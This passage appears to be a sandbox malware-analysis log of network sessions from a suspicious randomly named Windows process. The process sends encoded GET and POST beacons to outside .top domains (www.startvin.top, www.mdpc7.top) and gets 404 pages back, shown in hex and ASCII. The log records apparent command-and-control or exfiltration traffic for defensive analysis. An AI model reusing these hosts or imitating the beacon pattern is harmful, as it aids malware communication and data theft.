0PIXBf9=logPMYeDVZqoRWEc8P5uJjyZc+3CVn7yvWv0eHnhi6osf10ScF5b9zavqR4qLLXXVgqQSDxv2ob8cREKTzxt/A+EocE92isqVvep+EvN2aiUZpWH7xE3NGNSVgofqgq31ZcwSqOjso4LkIVy8p5s9uYtBDBMJW1WYIJCiiFxVBJlZ4DghG8AwofV/zhoF2tnbzGShl5CBR/SOqFtsglweWm73DzFxYY1f4Kl4q/NZWbXBXmqHUWzuG4Jokbut06DdAlFKGmQ404Uuu5V/H5uQE240v2t/xfXFiGQPQvuh638ypcUxnbrDMf7Zcg3cTPsEMgJHNChNtXtDfujUBBaLD1+1T6wV81DlbROJNgS8zdivhXWlZxY1BnvqvqDZhlRz1Pi8jR+tltFvmK/3beOd+vbYcZMlE8JmZ5N+/QrB7AE33xAdWEcKjBJo0WLjgGcXb3j0JJsqqMqWj9loH/VcK5qswpkZvmjIg794+9azv3n/0kgoJTGC1LJhX8fHWn1VoUFrGG8WBXRgeEhwKXYt3+orq0isX5bD5jUOswT8/7LZHgI4asvUgmyFkmrbeGt8XxnO2PDLPJm80eqajUXP7oGuyllfleHvk9CjkWZ66VTh4AYqkMKBtWJ1bQvvlmy+GzHMRUyTNunDIzp/sopSeIcRqeeF5oYlPC2oT5xv3fHpVcPN/BBwO8oyQuLkfPqA2JRkynYx6et758PYG4Mqw/BqOAdlsg8dUYZPgqp7NZ47KEs+J8h+jZT8FbuVC/tuzXY6NAhbgULRDAyoyV3aCc6s8h/bQ6VLKlF2W5EEHQ5jkBiD9mHDUACzxkqn8HW4cEXCOOJZ8efk3x34nuPAyRAJP7Wjqxa7pI9asloPPdXRYrHfbBg5cdK5DuYtRwzGRuDjCoB05mIb/qggjWuA1yRXiXDUetdME4vJ4CtT4sea3MwDB7O0BhPx4gukDyk5kPUPHMr+uPDVURW3rMF9nqBwVLnl30bJd/KtIaweZFo [TRUNCATED]
Nov 18, 2024 13:14:38.756336927 CET	1236	IN	HTTP/1.1 404 Not Found Date: Mon, 18 Nov 2024 12:14:38 GMT Server: Apache Content-Length: 16052 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/42.css"></head><body>... partial:index.partial.html --><main> <svg viewBox="0 0 541.17206 328.45184" height="328.45184" width="541.17206" id="svg2" version="1.1"> <metadata id="metadata8"> </metadata> <defs id="defs6"> <pattern patternUnits="userSpaceOnUse" width="1.5" height="1" patternTransform="translate(0,0) scale(10,10)" id="Strips2_1"> <rect style="fill:black;stroke:none" x="0" y="-0.5" width="1" height="2" id="rect5419" /> </pattern> <linearGradient osb:paint="solid" id="linearGradient6096"> <stop id="stop6094" offset="0" [TRUNCATED]
Nov 18, 2024 13:14:38.756401062 CET	1236	IN	Data Raw: 3e 0a 20 20 20 20 3c 2f 64 65 66 73 3e 0a 20 20 20 20 3c 67 0a 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 31 37 30 2e 31 34 35 31 35 2c 30 2e 30 33 38 31 36 34 29 22 0a 20 20 20 20 20 20 20 69 64 3d 22 6c Data Ascii: > </defs> <g transform="translate(170.14515,0.038164)" id="layer1"> <g id="g6219" > <path transform="matrix(1.0150687,0,0,11.193923,-1.3895945,-2685.7441)" style="disp
Nov 18, 2024 13:14:38.756418943 CET	424	IN	Data Raw: 38 2e 38 35 38 37 31 35 20 2d 30 2e 36 30 32 31 37 35 2c 2d 33 31 2e 34 36 39 32 32 38 20 2d 30 2e 30 31 32 35 33 2c 2d 32 32 2e 37 35 39 35 36 35 20 30 2e 37 31 37 32 36 32 2c 2d 34 31 2e 32 33 31 34 35 32 31 33 20 31 2e 36 32 38 39 39 35 2c 2d Data Ascii: 8.858715 -0.602175,-31.469228 -0.01253,-22.759565 0.717262,-41.23145213 1.628995,-41.23195399 z" style="display:inline;fill:#000000;stroke:none;stroke-width:0.23743393px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;"
Nov 18, 2024 13:14:38.756437063 CET	1236	IN	Data Raw: 35 39 31 2c 31 2e 31 37 38 30 31 20 2d 34 2e 38 36 31 34 34 34 2c 32 2e 36 38 31 31 33 20 2d 31 2e 33 35 35 38 35 33 2c 31 2e 35 30 33 31 32 20 2d 32 2e 34 37 33 37 36 34 2c 33 2e 30 39 31 37 33 20 2d 33 2e 33 38 37 38 36 36 2c 34 2e 35 39 35 33 Data Ascii: 591,1.17801 -4.861444,2.68113 -1.355853,1.50312 -2.473764,3.09173 -3.387866,4.59538 -0.914103,1.50365 -1.620209,2.91586 -2.416229,4.41952 -0.79602,1.50365 -1.67928,3.09352 -0.808656,3.24054 0.870624,0.14702 3.490408,-1.14815 5.700074,-1.91396
Nov 18, 2024 13:14:38.756499052 CET	1236	IN	Data Raw: 20 2d 35 2e 35 38 33 38 32 33 2c 36 2e 36 36 37 31 39 20 2d 31 30 2e 37 34 39 36 35 35 2c 31 33 2e 36 36 36 30 35 20 2d 31 33 2e 39 31 36 36 30 38 2c 31 38 2e 37 34 39 36 20 2d 33 2e 31 36 36 39 35 32 2c 35 2e 30 38 33 35 35 20 2d 34 2e 33 33 33 Data Ascii: -5.583823,6.66719 -10.749655,13.66605 -13.916608,18.7496 -3.166952,5.08355 -4.333432,8.24971 -4.750315,11.08369 -0.416883,2.83399 -0.08368,5.33304 1.809372,16.25302 1.893048,10.91998 5.343489,30.24673 9.760132,48.66349 4.416642,18.41676 9.798
Nov 18, 2024 13:14:38.756515026 CET	424	IN	Data Raw: 37 20 31 39 2e 39 38 39 35 37 2c 31 39 2e 31 34 35 38 31 20 36 2e 31 39 37 38 36 2c 36 2e 32 32 39 31 32 20 31 31 2e 36 39 37 38 39 2c 31 32 2e 32 32 39 31 34 20 31 37 2e 31 31 34 35 36 2c 31 38 2e 33 39 35 38 31 20 35 2e 34 31 36 36 36 2c 36 2e Data Ascii: 7 19.98957,19.14581 6.19786,6.22912 11.69789,12.22914 17.11456,18.39581 5.41666,6.16667 10.74996,12.49995 14.74993,17.91655 3.99997,5.41659 6.66659,9.91653 7.16671,17.83316 0.50012,7.91664 -1.16644,19.24921 -3.3502,31.24619 -2.18376,11.99698 -
Nov 18, 2024 13:14:38.756531954 CET	1236	IN	Data Raw: 70 3a 62 75 74 74 3b 73 74 72 6f 6b 65 2d 6c 69 6e 65 6a 6f 69 6e 3a 6d 69 74 65 72 3b 73 74 72 6f 6b 65 2d 6f 70 61 63 69 74 79 3a 31 3b 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 Data Ascii: p:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4525" d="m 91.9375,124.09998 c 5.854072,7.16655 11.70824,14.33322 16.21863,20.16651 4.51039,5.83328 7.67706,10.33329 11.92718,16.33346 4.25012
Nov 18, 2024 13:14:38.756551027 CET	1236	IN	Data Raw: 30 35 2c 35 2e 38 30 34 31 36 20 31 2e 34 35 38 35 30 35 2c 36 2e 39 38 32 35 37 20 32 2e 34 30 32 30 32 31 2c 31 31 2e 31 31 30 35 32 20 30 2e 39 34 33 35 31 37 2c 34 2e 31 32 37 39 35 20 32 2e 38 32 37 35 33 35 2c 31 31 2e 31 39 33 30 32 20 34 Data Ascii: 05,5.80416 1.458505,6.98257 2.402021,11.11052 0.943517,4.12795 2.827535,11.19302 4.065005,16.02501 1.23748,4.832 1.82668,7.42447 2.12139,10.84263 0.29471,3.41815 0.29471,7.65958 -0.11785,20.44893 -0.41255,12.78934 -1.23731,34.11536 -2.18014,53
Nov 18, 2024 13:14:38.756772041 CET	424	IN	Data Raw: 33 39 20 31 2e 31 31 39 39 33 32 2c 31 39 2e 38 30 33 37 39 20 32 2e 34 31 35 35 37 34 2c 33 37 2e 30 30 30 34 39 20 33 2e 37 31 32 30 30 35 2c 35 34 2e 32 30 37 36 37 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 Data Ascii: 39 1.119932,19.80379 2.415574,37.00049 3.712005,54.20767" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4549"
Nov 18, 2024 13:14:38.756789923 CET	1236	IN	Data Raw: 34 2c 31 31 2e 35 34 39 32 32 20 2d 31 2e 33 35 35 34 31 39 2c 32 34 2e 35 37 34 31 35 20 30 2e 39 34 32 39 37 34 2c 31 33 2e 30 32 34 39 33 20 32 2e 38 32 38 31 38 32 2c 33 34 2e 34 36 39 31 37 20 35 2e 30 36 36 30 39 35 2c 35 33 2e 38 34 37 34 Data Ascii: 4,11.54922 -1.355419,24.57415 0.942974,13.02493 2.828182,34.46917 5.066095,53.84746 2.237913,19.37829 4.833109,36.71892 7.425959,54.04387" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-
Nov 18, 2024 13:14:38.761657953 CET	1236	IN	Data Raw: 69 64 3d 22 70 61 74 68 34 35 32 39 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 6d 20 31 33 32 2e 36 38 37 35 2c 32 36 33 2e 33 34 39 39 38 20 63 20 2d 34 2e 32 32 38 39 2c 31 38 2e 34 31 35 35 20 2d 38 2e 34 35 38 30 36 2c 33 36 2e 38 Data Ascii: id="path4529" d="m 132.6875,263.34998 c -4.2289,18.4155 -8.45806,36.83216 -12.6875,55.25" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.7	53176	203.161.46.205	80	3736	C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 13:14:40.610688925 CET	541	OUT	GET /chrv/?tD_=f00xUVKh&0PIXBf9=oqIvPuLKU6ipUF0l0s9jGwC5Rs+ISH+IiXTOUljk/btMUGhxXUhy/ROn8iRvBZThJHrBfDF95d/bLV86djItjxOaoccx9TISaPCf4hbQm/G+Yq+LkHY0VTYNMEk+ymSz3ZEiRr7ur/of HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Connection: close Host: www.startvin.top User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
Nov 18, 2024 13:14:41.324331045 CET	1236	IN	HTTP/1.1 404 Not Found Date: Mon, 18 Nov 2024 12:14:41 GMT Server: Apache Content-Length: 16052 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/42.css"></head><body>... partial:index.partial.html --><main> <svg viewBox="0 0 541.17206 328.45184" height="328.45184" width="541.17206" id="svg2" version="1.1"> <metadata id="metadata8"> </metadata> <defs id="defs6"> <pattern patternUnits="userSpaceOnUse" width="1.5" height="1" patternTransform="translate(0,0) scale(10,10)" id="Strips2_1"> <rect style="fill:black;stroke:none" x="0" y="-0.5" width="1" height="2" id="rect5419" /> </pattern> <linearGradient osb:paint="solid" id="linearGradient6096"> <stop id="stop6094" offset="0" [TRUNCATED]
Nov 18, 2024 13:14:41.324358940 CET	1236	IN	Data Raw: 2f 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 3e 0a 20 20 20 20 3c 2f 64 65 66 73 3e 0a 20 20 20 20 3c 67 0a 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 31 37 30 2e 31 34 35 31 35 2c 30 2e 30 33 38 31 36 34 Data Ascii: /linearGradient> </defs> <g transform="translate(170.14515,0.038164)" id="layer1"> <g id="g6219" > <path transform="matrix(1.0150687,0,0,11.193923,-1.3895945,-2685.7441)"
Nov 18, 2024 13:14:41.324373960 CET	1236	IN	Data Raw: 37 39 20 2d 30 2e 35 39 35 32 33 33 2c 2d 31 38 2e 38 35 38 37 31 35 20 2d 30 2e 36 30 32 31 37 35 2c 2d 33 31 2e 34 36 39 32 32 38 20 2d 30 2e 30 31 32 35 33 2c 2d 32 32 2e 37 35 39 35 36 35 20 30 2e 37 31 37 32 36 32 2c 2d 34 31 2e 32 33 31 34 Data Ascii: 79 -0.595233,-18.858715 -0.602175,-31.469228 -0.01253,-22.759565 0.717262,-41.23145213 1.628995,-41.23195399 z" style="display:inline;fill:#000000;stroke:none;stroke-width:0.23743393px;stroke-linecap:butt;stroke-linejoin:miter;str
Nov 18, 2024 13:14:41.324507952 CET	636	IN	Data Raw: 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 30 30 2e 37 36 32 37 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 72 65 63 74 34 35 35 33 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c Data Ascii: width="100.76272" id="rect4553" style="display:inline;opacity:1;fill:#000000;fill-opacity:1;fill-rule:nonzero;stroke:#000000;stroke-width:1.00157475;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1;" /
Nov 18, 2024 13:14:41.324538946 CET	1236	IN	Data Raw: 34 36 37 33 20 39 2e 37 36 30 31 33 32 2c 34 38 2e 36 36 33 34 39 20 34 2e 34 31 36 36 34 32 2c 31 38 2e 34 31 36 37 36 20 39 2e 37 39 38 33 35 36 2c 33 35 2e 39 31 36 37 35 20 31 35 2e 31 38 30 32 36 37 2c 35 33 2e 34 31 37 33 38 22 0a 20 20 20 Data Ascii: 4673 9.760132,48.66349 4.416642,18.41676 9.798356,35.91675 15.180267,53.41738" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path
Nov 18, 2024 13:14:41.324553013 CET	1236	IN	Data Raw: 2c 31 39 2e 32 34 39 32 31 20 2d 33 2e 33 35 30 32 2c 33 31 2e 32 34 36 31 39 20 2d 32 2e 31 38 33 37 36 2c 31 31 2e 39 39 36 39 38 20 2d 34 2e 38 31 36 31 36 2c 32 34 2e 33 33 36 33 32 20 2d 38 2e 34 32 30 36 33 2c 33 38 2e 39 39 38 30 39 20 2d Data Ascii: ,19.24921 -3.3502,31.24619 -2.18376,11.99698 -4.81616,24.33632 -8.42063,38.99809 -3.60448,14.66177 -8.06212,31.17154 -12.56244,47.83939" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-li
Nov 18, 2024 13:14:41.324565887 CET	1236	IN	Data Raw: 30 30 30 30 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 70 78 3b 73 74 72 6f 6b 65 2d 6c 69 6e 65 63 61 70 3a 62 75 74 74 3b 73 74 72 6f 6b 65 2d 6c 69 6e 65 6a 6f 69 6e 3a 6d 69 74 65 72 3b 73 74 72 6f 6b 65 2d 6f 70 61 63 69 74 79 3a 31 3b Data Ascii: 00000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4537" d="m 87.0625,123.03748 c 2.916637,10.42937 5.833458,20.8594 7.291964,26.66356 1.458505,5.80416 1.458
Nov 18, 2024 13:14:41.324793100 CET	1236	IN	Data Raw: 30 32 38 33 2c 33 31 2e 34 31 36 36 35 20 2d 32 2e 31 38 37 38 34 37 2c 31 30 2e 32 34 33 38 34 20 2d 33 2e 39 35 35 34 30 37 2c 32 30 2e 31 34 32 31 38 20 2d 35 2e 30 37 34 39 37 35 2c 32 36 2e 30 33 34 38 33 20 2d 31 2e 31 31 39 35 36 38 2c 35 Data Ascii: 0283,31.41665 -2.187847,10.24384 -3.955407,20.14218 -5.074975,26.03483 -1.119568,5.89264 -1.59092,7.77805 -1.885708,10.07706 -0.294789,2.29901 -0.412567,5.0079 5.1e-5,17.56339 0.412617,12.55548 1.355064,34.93859 2.474996,54.74239 1.119932,19.8
Nov 18, 2024 13:14:41.324806929 CET	1236	IN	Data Raw: 20 37 2e 34 32 35 31 35 35 2c 2d 30 2e 30 35 38 39 20 31 31 2e 31 33 37 30 32 37 2c 2d 30 2e 32 33 35 36 39 20 33 2e 37 31 31 38 37 35 2c 2d 30 2e 31 37 36 37 39 20 37 2e 33 36 36 32 32 35 2c 2d 30 2e 35 33 30 34 33 20 31 30 2e 37 32 34 34 37 35 Data Ascii: 7.425155,-0.0589 11.137027,-0.23569 3.711875,-0.17679 7.366225,-0.53043 10.724475,-0.70716 3.35826,-0.17672 6.4233,-0.17672 9.48702,-0.58922 3.06372,-0.41251 6.12885,-1.23774 9.1918,-2.06238" style="display:inline;fill:none;strok
Nov 18, 2024 13:14:41.324820995 CET	1060	IN	Data Raw: 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 65 6c 6c 69 70 73 65 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 72 79 3d 22 34 2e 33 31 35 38 35 37 39 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 72 78 3d 22 34 2e 39 30 30 31 37 30 33 22 0a 20 20 Data Ascii: " /> <ellipse ry="4.3158579" rx="4.9001703" cy="4.3948641" cx="85.016434" id="path4616" style="display:inline;opacity:1;fill:#000000;fill-opacity:1;fill-ru
Nov 18, 2024 13:14:41.329731941 CET	1236	IN	Data Raw: 2d 33 2e 32 36 31 32 31 20 36 2e 36 31 37 30 32 2c 30 2e 31 33 30 31 20 7a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 6f 70 61 63 69 74 79 3a 31 3b 66 69 6c 6c 3a 23 30 30 30 30 30 30 3b 66 69 6c 6c 2d 6f 70 61 63 69 74 79 Data Ascii: -3.26121 6.61702,0.1301 z" style="opacity:1;fill:#000000;fill-opacity:1;fill-rule:nonzero;stroke:#000000;stroke-width:1.00157475;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1;" /> <path transfor

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.7	53177	20.2.36.112	80	3736	C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 13:14:47.588737011 CET	795	OUT	POST /55tt/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Cache-Control: no-cache Content-Length: 220 Connection: close Content-Type: application/x-www-form-urlencoded Host: www.mdpc7.top Origin: http://www.mdpc7.top Referer: http://www.mdpc7.top/55tt/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 Data Raw: 30 50 49 58 42 66 39 3d 44 69 4f 65 61 66 6c 71 31 48 4f 55 53 62 54 6c 53 7a 39 7a 46 6e 45 55 50 39 34 55 32 4e 4a 33 51 2f 65 4c 35 55 42 48 73 30 49 41 5a 43 73 2f 59 4e 63 77 32 59 36 45 53 6f 59 30 69 45 50 76 6d 41 70 77 63 62 34 54 74 61 4f 56 65 6d 4a 42 6f 4f 7a 52 34 50 69 47 75 4c 43 4b 6a 4c 76 4d 43 45 78 59 35 2f 64 4f 43 7a 67 68 38 65 4e 30 4f 67 49 70 30 62 61 4d 4b 7a 34 68 59 47 50 46 67 75 52 66 34 4f 41 41 7a 78 54 61 6a 36 47 74 39 69 64 47 2b 66 38 6c 32 4c 4c 61 77 65 6c 65 33 4b 6c 6e 6a 35 34 57 54 6a 32 35 2b 54 49 30 35 39 65 7a 6d 6a 71 76 49 5a 48 76 6b 41 67 6d 54 47 66 4f 77 75 79 30 5a 4a 2b 43 66 62 5a 6c 5a 67 3d 3d Data Ascii: 0PIXBf9=DiOeaflq1HOUSbTlSz9zFnEUP94U2NJ3Q/eL5UBHs0IAZCs/YNcw2Y6ESoY0iEPvmApwcb4TtaOVemJBoOzR4PiGuLCKjLvMCExY5/dOCzgh8eN0OgIp0baMKz4hYGPFguRf4OAAzxTaj6Gt9idG+f8l2LLawele3Klnj54WTj25+TI059ezmjqvIZHvkAgmTGfOwuy0ZJ+CfbZlZg==
Nov 18, 2024 13:14:48.539200068 CET	336	IN	HTTP/1.1 404 Not Found Content-Length: 162 Content-Type: text/html;charset=utf-8 Date: Mon, 18 Nov 2024 12:14:48 GMT Server: nginx X-Cache: BYPASS Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 2d 20 77 65 62 6d 61 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 0a 20 20 20 20 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 0a 3c 63 65 6e 74 65 72 3e 77 65 62 6d 61 6e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head> <title>404 Not Found - webman</title></head><body><center> <h1>404 Not Found</h1></center><hr><center>webman</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.7	53178	20.2.36.112	80	3736	C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 13:14:50.135369062 CET	815	OUT	POST /55tt/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Cache-Control: no-cache Content-Length: 240 Connection: close Content-Type: application/x-www-form-urlencoded Host: www.mdpc7.top Origin: http://www.mdpc7.top Referer: http://www.mdpc7.top/55tt/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 Data Raw: 30 50 49 58 42 66 39 3d 44 69 4f 65 61 66 6c 71 31 48 4f 55 54 37 6a 6c 51 51 56 7a 45 48 45 4c 41 64 34 55 2f 74 4a 7a 51 2f 53 4c 35 58 4d 43 74 42 34 41 5a 6a 63 2f 5a 4a 41 77 6a 59 36 45 4b 59 59 31 76 6b 50 6b 6d 41 56 4f 63 5a 73 54 74 65 6d 56 65 6a 74 42 6f 2f 7a 51 35 66 69 45 77 72 43 49 74 72 76 4d 43 45 78 59 35 2f 35 30 43 7a 6f 68 39 75 39 30 4f 45 63 71 71 4c 61 54 61 6a 34 68 63 47 50 37 67 75 51 38 34 50 63 75 7a 30 66 61 6a 36 57 74 39 7a 64 4a 30 66 38 6e 37 72 4b 31 33 75 52 51 34 34 35 48 35 35 77 79 61 79 79 67 2f 6c 4a 57 6a 66 53 66 34 79 53 55 4d 62 6a 5a 7a 6d 39 54 52 48 62 57 39 4d 47 56 47 2b 62 6f 53 4a 34 68 50 62 4b 30 63 7a 53 30 4c 76 79 48 30 6d 64 47 63 53 2f 65 53 64 4d 3d Data Ascii: 0PIXBf9=DiOeaflq1HOUT7jlQQVzEHELAd4U/tJzQ/SL5XMCtB4AZjc/ZJAwjY6EKYY1vkPkmAVOcZsTtemVejtBo/zQ5fiEwrCItrvMCExY5/50Czoh9u90OEcqqLaTaj4hcGP7guQ84Pcuz0faj6Wt9zdJ0f8n7rK13uRQ445H55wyayyg/lJWjfSf4ySUMbjZzm9TRHbW9MGVG+boSJ4hPbK0czS0LvyH0mdGcS/eSdM=
Nov 18, 2024 13:14:51.087090015 CET	336	IN	HTTP/1.1 404 Not Found Content-Length: 162 Content-Type: text/html;charset=utf-8 Date: Mon, 18 Nov 2024 12:14:50 GMT Server: nginx X-Cache: BYPASS Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 2d 20 77 65 62 6d 61 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 0a 20 20 20 20 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 0a 3c 63 65 6e 74 65 72 3e 77 65 62 6d 61 6e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head> <title>404 Not Found - webman</title></head><body><center> <h1>404 Not Found</h1></center><hr><center>webman</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.7	53179	20.2.36.112	80	3736	C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe

Timestamp	Bytes transferred	Direction	Data
